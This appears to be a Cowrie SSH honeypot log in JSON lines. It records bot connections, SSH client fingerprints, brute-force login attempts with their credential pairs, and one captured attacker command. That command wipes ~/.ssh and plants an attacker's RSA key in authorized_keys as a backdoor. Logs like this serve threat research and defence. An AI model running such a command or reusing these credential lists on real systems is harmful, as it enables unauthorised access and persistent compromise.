{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:26.261055Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:26.521169Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:26.524201Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.97.161.72","src_port":43576,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cfeb335e8cf","protocol":"ssh","message":"New connection: 209.97.161.72:43576 (159.203.135.109:22) [session: 6cfeb335e8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:26.747378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:26.751016Z","src_ip":"209.97.161.72","session":"6cfeb335e8cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:27.107457Z","src_ip":"209.97.161.72","session":"6cfeb335e8cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49614,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0f015379061","protocol":"ssh","message":"New connection: 2.57.122.208:49614 (10.17.0.5:22) [session: a0f015379061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:27.116405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:27.282787Z","src_ip":"2.57.122.208","session":"a0f015379061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:27.286798Z","src_ip":"2.57.122.208","session":"a0f015379061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:28.088386Z","src_ip":"209.97.161.72","session":"6cfeb335e8cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52556,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ece809a0672","protocol":"ssh","message":"New connection: 195.178.110.218:52556 (159.203.135.109:22) [session: 2ece809a0672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:28.341565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:28.346328Z","src_ip":"195.178.110.218","session":"2ece809a0672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:28.426366Z","src_ip":"195.178.110.218","session":"2ece809a0672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:28.497775Z","src_ip":"2.57.122.208","session":"a0f015379061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:28.666473Z","src_ip":"195.178.110.218","session":"2ece809a0672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:29.331805Z","src_ip":"209.97.161.72","session":"6cfeb335e8cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.97.161.72","src_port":43580,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d0d131da900","protocol":"ssh","message":"New connection: 209.97.161.72:43580 (159.203.135.109:22) [session: 2d0d131da900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:29.562786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:29.567768Z","src_ip":"209.97.161.72","session":"2d0d131da900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:29.672542Z","src_ip":"2.57.122.208","session":"a0f015379061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:29.755355Z","src_ip":"195.178.110.218","session":"2ece809a0672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:29.804357Z","src_ip":"209.97.161.72","session":"2d0d131da900","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:30.778805Z","src_ip":"209.97.161.72","session":"2d0d131da900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:31.017591Z","src_ip":"209.97.161.72","session":"2d0d131da900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:31.025867Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":24349,"dst_ip":"159.203.135.109","dst_port":22,"session":"81ad8cb00ab4","protocol":"ssh","message":"New connection: 2.57.121.112:24349 (159.203.135.109:22) [session: 81ad8cb00ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:11.300499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:11.304593Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:11.403226Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0403","message":"login attempt [admin/0403] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:11.874011Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040285","message":"login attempt [admin/040285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:12.977303Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04021976","message":"login attempt [admin/04021976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:14.080913Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04011978","message":"login attempt [admin/04011978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:15.184108Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0322","message":"login attempt [admin/0322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:16.289886Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:19:17.392910Z","src_ip":"2.57.121.112","session":"81ad8cb00ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60608,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf4bf429b74d","protocol":"ssh","message":"New connection: 92.118.39.92:60608 (10.17.0.5:22) [session: bf4bf429b74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:15.097822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:15.103864Z","src_ip":"92.118.39.92","session":"bf4bf429b74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:15.208530Z","src_ip":"92.118.39.92","session":"bf4bf429b74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svn","password":"svn","message":"login attempt [svn/svn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:15.533355Z","src_ip":"92.118.39.92","session":"bf4bf429b74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:16.646660Z","src_ip":"92.118.39.92","session":"bf4bf429b74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47236,"dst_ip":"159.203.135.109","dst_port":22,"session":"096e4fde3a05","protocol":"ssh","message":"New connection: 195.178.110.218:47236 (159.203.135.109:22) [session: 096e4fde3a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:24.497528Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:24.576679Z","src_ip":"195.178.110.218","session":"096e4fde3a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38672,"dst_ip":"10.17.0.5","dst_port":22,"session":"08c29dcb0b62","protocol":"ssh","message":"New connection: 2.57.122.208:38672 (10.17.0.5:22) [session: 08c29dcb0b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:40.124722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:40.175836Z","src_ip":"2.57.122.208","session":"08c29dcb0b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:40.313717Z","src_ip":"2.57.122.208","session":"08c29dcb0b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:40.834850Z","src_ip":"2.57.122.208","session":"08c29dcb0b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:20:41.978559Z","src_ip":"2.57.122.208","session":"08c29dcb0b62","protocol":"ssh"}
